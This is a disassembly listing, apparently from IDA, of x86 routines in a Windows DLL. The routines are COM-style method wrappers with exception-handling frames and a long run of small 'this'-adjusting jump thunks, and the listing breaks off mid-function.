sub_69B59028	proc near		; DATA XREF: .text:69B28F90o
		push	2Ch
		push	offset dword_69B59110
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_69B5906A
		xor	edi, edi
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B59074
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B5906A:				; CODE XREF: sub_69B59028+19j
		mov	eax, 80004005h
		jmp	loc_69B59101
; ---------------------------------------------------------------------------


loc_69B59074:				; CODE XREF: sub_69B59028+2Fj
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch] ; psz1
		call	sub_69B8A606
		mov	[ebp-34h], eax
		dec	eax
		jz	short loc_69B5909A
		push	ebx
		push	0C00CE21Dh
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B590B5
; ---------------------------------------------------------------------------


loc_69B5909A:				; CODE XREF: sub_69B59028+5Bj
		mov	esi, [esi+18h]
		mov	[ebp-38h], esi
		add	esi, 0E4h
		push	esi		; int
		lea	eax, [ebp+10h]
		push	eax		; pvarSrc
		call	sub_69B8A535
		mov	edi, eax
		mov	[ebp-3Ch], edi


loc_69B590B5:				; CODE XREF: sub_69B59028+70j
		cmp	edi, ebx
		jge	short loc_69B590EA
		push	ebx
		push	0C00CE21Eh
		push	edi
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B590EA
; ---------------------------------------------------------------------------


loc_69B590CA:				; DATA XREF: .text:69B59114o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B590D3:				; DATA XREF: .text:69B59118o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B590EA:				; CODE XREF: sub_69B59028+8Fj
					; sub_69B59028+A0j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B59101:				; CODE XREF: sub_69B59028+47j
		call	sub_69B1853C
		retn	18h
sub_69B59028	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B59110	dd 0FFFFFFFFh			dd offset loc_69B590CA
		dd offset loc_69B590D3

; =============== S U B	R O U T	I N E =======================================



sub_69B5911C	proc near		; DATA XREF: .text:69B28F94o
		push	24h
		push	offset dword_69B591D8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B59141
		mov	eax, 80004005h
		jmp	loc_69B591D0
; ---------------------------------------------------------------------------


loc_69B59141:				; CODE XREF: sub_69B5911C+19j
		cmp	[ebp+10h], edi
		jnz	short loc_69B59154
		push	eax
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B591D0
; ---------------------------------------------------------------------------


loc_69B59154:				; CODE XREF: sub_69B5911C+28j
		mov	esi, [ebp+8]
		push	dword ptr [esi+18h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18B3B
		mov	[ebp-4], edi
		push	dword ptr [ebp+0Ch] ; psz1
		call	sub_69B8A606
		mov	[ebp-30h], eax
		dec	eax
		jz	short loc_69B59189
		push	edi
		push	0C00CE21Dh
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B591B9
; ---------------------------------------------------------------------------


loc_69B59189:				; CODE XREF: sub_69B5911C+56j
		mov	ecx, [esi+18h]
		mov	[ebp-34h], ecx
		push	dword ptr [ebp+10h] ; pvarg
		call	sub_69B5704A
		jmp	short loc_69B591B9
; ---------------------------------------------------------------------------


loc_69B59199:				; DATA XREF: .text:69B591DCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B591A2:				; DATA XREF: .text:69B591E0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B591B9:				; CODE XREF: sub_69B5911C+6Bj
					; sub_69B5911C+7Bj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B591D0:				; CODE XREF: sub_69B5911C+20j
					; sub_69B5911C+36j
		call	sub_69B1853C
		retn	0Ch
sub_69B5911C	endp

; ---------------------------------------------------------------------------
dword_69B591D8	dd 0FFFFFFFFh			dd offset loc_69B59199
		dd offset loc_69B591A2

; =============== S U B	R O U T	I N E =======================================



sub_69B591E4	proc near		; DATA XREF: .text:69B28F88o
		push	2Ch
		push	offset dword_69B592A0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B59225
		mov	eax, [ebp+8]
		mov	esi, [eax+18h]
		push	esi
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B43E1C
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B5922C
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B59225:				; CODE XREF: sub_69B591E4+1Bj
		mov	eax, 80004005h
		jmp	short loc_69B59293
; ---------------------------------------------------------------------------


loc_69B5922C:				; CODE XREF: sub_69B591E4+30j
		mov	[ebp-4], ebx
		push	offset dword_69B278E4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_69B884E8
		mov	edi, eax
		mov	[ebp-34h], edi
		lea	eax, [esi+68h]
		mov	[ebp-38h], eax
		push	edi
		push	eax
		call	sub_69B17320
		cmp	edi, ebx
		jz	short loc_69B59259
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+8]


loc_69B59259:				; CODE XREF: sub_69B591E4+6Dj
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B5927B
; ---------------------------------------------------------------------------


loc_69B5925E:				; DATA XREF: .text:69B592A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B59267:				; DATA XREF: .text:69B592A8o
		mov	esp, [ebp-18h]
		push	0C00CE220h
		call	sub_69B2D34C
		mov	dword ptr [ebp-3Ch], 80004005h


loc_69B5927B:				; CODE XREF: sub_69B591E4+78j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B59293:				; CODE XREF: sub_69B591E4+46j
		call	sub_69B1853C
		retn	14h
sub_69B591E4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B592A0	dd 0FFFFFFFFh			dd offset loc_69B5925E
		dd offset loc_69B59267

; =============== S U B	R O U T	I N E =======================================



sub_69B592AC	proc near		; CODE XREF: sub_69B592CE+Ap

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B99AC8
		push	off_69B99ACC
		lea	ecx, [esi+0Ch]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B592AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B592CE	proc near		; CODE XREF: sub_69B1C12C+2E36p
					; sub_69B1C04C+81D4p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_69B592AC
		push	dword ptr [ebx+4Ch]
		lea	edi, [esi+1Ch]
		mov	ecx, edi
		call	sub_69B437E7
		mov	dword ptr [edi], offset	off_69B28F98
		pop	edi
		mov	dword ptr [esi], offset	off_69B28E50
		mov	dword ptr [esi+4], offset off_69B28E3C
		mov	dword ptr [esi+0Ch], offset off_69B28E38
		mov	dword ptr [esi+20h], offset off_69B28E28
		mov	dword ptr [esi+28h], offset off_69B28E24
		mov	dword ptr [esi+34h], offset off_69B28DE8
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B592CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59321	proc near		; CODE XREF: .text:69B59666j
					; .text:69B59670j ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B40E6F
		retn	4
sub_69B59321	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59331	proc near		; CODE XREF: sub_69B596A7+5j
					; DATA XREF: .text:69B28E78o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B4122C
		retn	8
sub_69B59331	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59345	proc near		; CODE XREF: sub_69B59689+5j
					; DATA XREF: .text:69B28E6Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B41290
		retn	8
sub_69B59345	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59359	proc near		; CODE XREF: sub_69B59693+5j
					; DATA XREF: .text:69B28E70o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B41434
		retn	8
sub_69B59359	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5936D	proc near		; CODE XREF: sub_69B5969D+5j
					; DATA XREF: .text:69B28E74o

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [esp+18h+arg_4]
		movsd
		movsd
		movsd
		add	eax, 1Ch
		push	eax
		movsd
		call	sub_69B41554
		pop	edi
		pop	esi
		retn	14h
sub_69B5936D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5938E	proc near		; CODE XREF: sub_69B596B1+5j
					; DATA XREF: .text:69B28E7Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B4167C
		retn	8
sub_69B5938E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B593A2	proc near		; CODE XREF: sub_69B596BB+5j
					; DATA XREF: .text:69B28E80o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B43D3C
		retn	8
sub_69B593A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B593B6	proc near		; CODE XREF: sub_69B596C5+5j
					; DATA XREF: .text:69B28E84o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B4183C
		retn	8
sub_69B593B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B593CA	proc near		; CODE XREF: sub_69B596CF+5j
					; DATA XREF: .text:69B28E88o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B418FC
		retn	8
sub_69B593CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B593DE	proc near		; CODE XREF: sub_69B596D9+5j
					; DATA XREF: .text:69B28E8Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B419B4
		retn	8
sub_69B593DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B593F2	proc near		; CODE XREF: sub_69B596E3+5j
					; DATA XREF: .text:69B28E90o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B41A7C
		retn	8
sub_69B593F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59406	proc near		; CODE XREF: sub_69B596F7+5j
					; DATA XREF: .text:69B28E98o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	[esp+8+arg_18]
		lea	esi, [esp+0Ch+arg_8]
		sub	esp, 10h
		mov	edi, esp
		push	[esp+1Ch+arg_4]
		movsd
		movsd
		movsd
		add	eax, 1Ch
		push	eax
		movsd
		call	sub_69B41BEC
		pop	edi
		pop	esi
		retn	1Ch
sub_69B59406	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5942F	proc near		; CODE XREF: sub_69B59701+5j
					; DATA XREF: .text:69B28E9Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		add	eax, 1Ch
		push	[esp+8+arg_4]
		push	eax
		call	sub_69B41E9C
		retn	10h
sub_69B5942F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5944B	proc near		; CODE XREF: sub_69B5970B+5j
					; DATA XREF: .text:69B28EA0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		add	eax, 1Ch
		push	eax
		call	sub_69B41D7C
		retn	0Ch
sub_69B5944B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59463	proc near		; CODE XREF: sub_69B59715+5j
					; DATA XREF: .text:69B28EA4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		add	eax, 1Ch
		push	eax
		call	sub_69B40304
		retn	0Ch
sub_69B59463	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5947B	proc near		; CODE XREF: sub_69B596ED+5j
					; DATA XREF: .text:69B28E94o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B43C62
		retn	8
sub_69B5947B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5948F	proc near		; CODE XREF: sub_69B5971F+5j
					; DATA XREF: .text:69B28EA8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B41B44
		retn	8
sub_69B5948F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B594A3	proc near		; CODE XREF: sub_69B59729+5j
					; DATA XREF: .text:69B28EACo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B4213C
		retn	8
sub_69B594A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B594B7	proc near		; CODE XREF: sub_69B59733+5j
					; DATA XREF: .text:69B28EB4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B42F64
		retn	8
sub_69B594B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B594CB	proc near		; CODE XREF: sub_69B5973D+5j
					; DATA XREF: .text:69B28EB8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B422B4
		retn	8
sub_69B594CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B594DF	proc near		; CODE XREF: sub_69B59747+5j
					; DATA XREF: .text:69B28EBCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B423AC
		retn	8
sub_69B594DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B594F3	proc near		; CODE XREF: sub_69B59751+5j
					; DATA XREF: .text:69B28EC0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B41774
		retn	8
sub_69B594F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59507	proc near		; CODE XREF: sub_69B5975B+5j
					; DATA XREF: .text:69B28EC4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B421FC
		retn	8
sub_69B59507	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5951B	proc near		; CODE XREF: sub_69B59765+5j
					; DATA XREF: .text:69B28EC8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B4277B
		retn	8
sub_69B5951B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5952F	proc near		; CODE XREF: sub_69B5976F+5j
					; DATA XREF: .text:69B28ECCo

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [esp+18h+arg_4]
		movsd
		movsd
		movsd
		add	eax, 1Ch
		push	eax
		movsd
		call	sub_69B42884
		pop	edi
		pop	esi
		retn	14h
sub_69B5952F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59550	proc near		; CODE XREF: sub_69B59779+5j
					; DATA XREF: .text:69B28ED0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B4297C
		retn	8
sub_69B59550	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59564	proc near		; CODE XREF: sub_69B59783+5j
					; DATA XREF: .text:69B28ED4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B42A54
		retn	8
sub_69B59564	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59578	proc near		; CODE XREF: sub_69B5978D+5j
					; DATA XREF: .text:69B28ED8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B42E14
		retn	8
sub_69B59578	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5958C	proc near		; CODE XREF: sub_69B59797+5j
					; DATA XREF: .text:69B28EDCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		add	eax, 1Ch
		push	eax
		call	sub_69B42B4C
		retn	0Ch
sub_69B5958C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B595A4	proc near		; CODE XREF: sub_69B597A1+5j
					; DATA XREF: .text:69B28EE0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		add	eax, 1Ch
		push	eax
		call	sub_69B42C6C
		retn	0Ch
sub_69B595A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B595BC	proc near		; CODE XREF: sub_69B597AB+5j
					; DATA XREF: .text:69B28EE4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		add	eax, 1Ch
		push	eax
		call	sub_69B42D4C
		retn	0Ch
sub_69B595BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B595D4	proc near		; CODE XREF: sub_69B597B5+5j
					; DATA XREF: .text:69B28EE8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B42EC4
		retn	8
sub_69B595D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B595E8	proc near		; CODE XREF: sub_69B597BF+5j
					; DATA XREF: .text:69B28EECo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B424B4
		retn	8
sub_69B595E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B595FC	proc near		; CODE XREF: sub_69B597C9+5j
					; DATA XREF: .text:69B28EF0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B42594
		retn	8
sub_69B595FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59610	proc near		; CODE XREF: sub_69B597D3+5j
					; DATA XREF: .text:69B28EF4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [esp+4+arg_0]
		add	eax, 1Ch
		push	eax
		call	sub_69B42695
		retn	8
sub_69B59610	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59624	proc near		; CODE XREF: sub_69B597DD+5j
					; DATA XREF: .text:69B28EF8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		sub	esp, 10h
		mov	edi, esp
		push	[esp+18h+arg_4]
		lea	esi, [esp+1Ch+arg_8]
		movsd
		movsd
		movsd
		add	eax, 1Ch
		push	eax
		movsd
		call	sub_69B4311C
		pop	edi
		pop	esi
		retn	18h
sub_69B59624	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59649	proc near		; DATA XREF: .text:69B28F2Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_4]
		add	eax, 1Ch
		push	eax
		call	sub_69B43024
		retn	0Ch
sub_69B59649	endp

; ---------------------------------------------------------------------------


loc_69B59661:				; DATA XREF: .text:69B28E44o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B59321
; ---------------------------------------------------------------------------


loc_69B5966B:				; DATA XREF: .text:69B28FA0o
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B59321

; =============== S U B	R O U T	I N E =======================================



sub_69B59675	proc near		; DATA XREF: .text:69B28FACo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B56828
sub_69B59675	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5967F	proc near		; DATA XREF: .text:69B28FB0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B56895
sub_69B5967F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59689	proc near		; DATA XREF: .text:69B28FB4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59345
sub_69B59689	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59693	proc near		; DATA XREF: .text:69B28FB8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59359
sub_69B59693	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5969D	proc near		; DATA XREF: .text:69B28FBCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5936D
sub_69B5969D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596A7	proc near		; DATA XREF: .text:69B28FC0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59331
sub_69B596A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596B1	proc near		; DATA XREF: .text:69B28FC4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5938E
sub_69B596B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596BB	proc near		; DATA XREF: .text:69B28FC8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B593A2
sub_69B596BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596C5	proc near		; DATA XREF: .text:69B28FCCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B593B6
sub_69B596C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596CF	proc near		; DATA XREF: .text:69B28FD0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B593CA
sub_69B596CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596D9	proc near		; DATA XREF: .text:69B28FD4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B593DE
sub_69B596D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596E3	proc near		; DATA XREF: .text:69B28FD8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B593F2
sub_69B596E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596ED	proc near		; DATA XREF: .text:69B28FDCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5947B
sub_69B596ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B596F7	proc near		; DATA XREF: .text:69B28FE0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59406
sub_69B596F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59701	proc near		; DATA XREF: .text:69B28FE4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5942F
sub_69B59701	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5970B	proc near		; DATA XREF: .text:69B28FE8o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5944B
sub_69B5970B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59715	proc near		; DATA XREF: .text:69B28FECo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59463
sub_69B59715	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5971F	proc near		; DATA XREF: .text:69B28FF0o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5948F
sub_69B5971F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59729	proc near		; DATA XREF: .text:69B28FF4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B594A3
sub_69B59729	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59733	proc near		; DATA XREF: .text:69B28FFCo

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B594B7
sub_69B59733	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5973D	proc near		; DATA XREF: .text:69B29000o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B594CB
sub_69B5973D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59747	proc near		; DATA XREF: .text:69B29004o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B594DF
sub_69B59747	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59751	proc near		; DATA XREF: .text:69B29008o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B594F3
sub_69B59751	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5975B	proc near		; DATA XREF: .text:69B2900Co

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59507
sub_69B5975B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59765	proc near		; DATA XREF: .text:69B29010o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5951B
sub_69B59765	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5976F	proc near		; DATA XREF: .text:69B29014o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B5952F
sub_69B5976F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59779	proc near		; DATA XREF: .text:69B29018o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59550
sub_69B59779	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B59783	proc near		; DATA XREF: .text:69B2901Co

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 1Ch
		jmp	sub_69B59564
sub_69B59783	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5978D	proc near		; DATA XREF: .text:69B29020o

arg_0		= dword	ptr  4

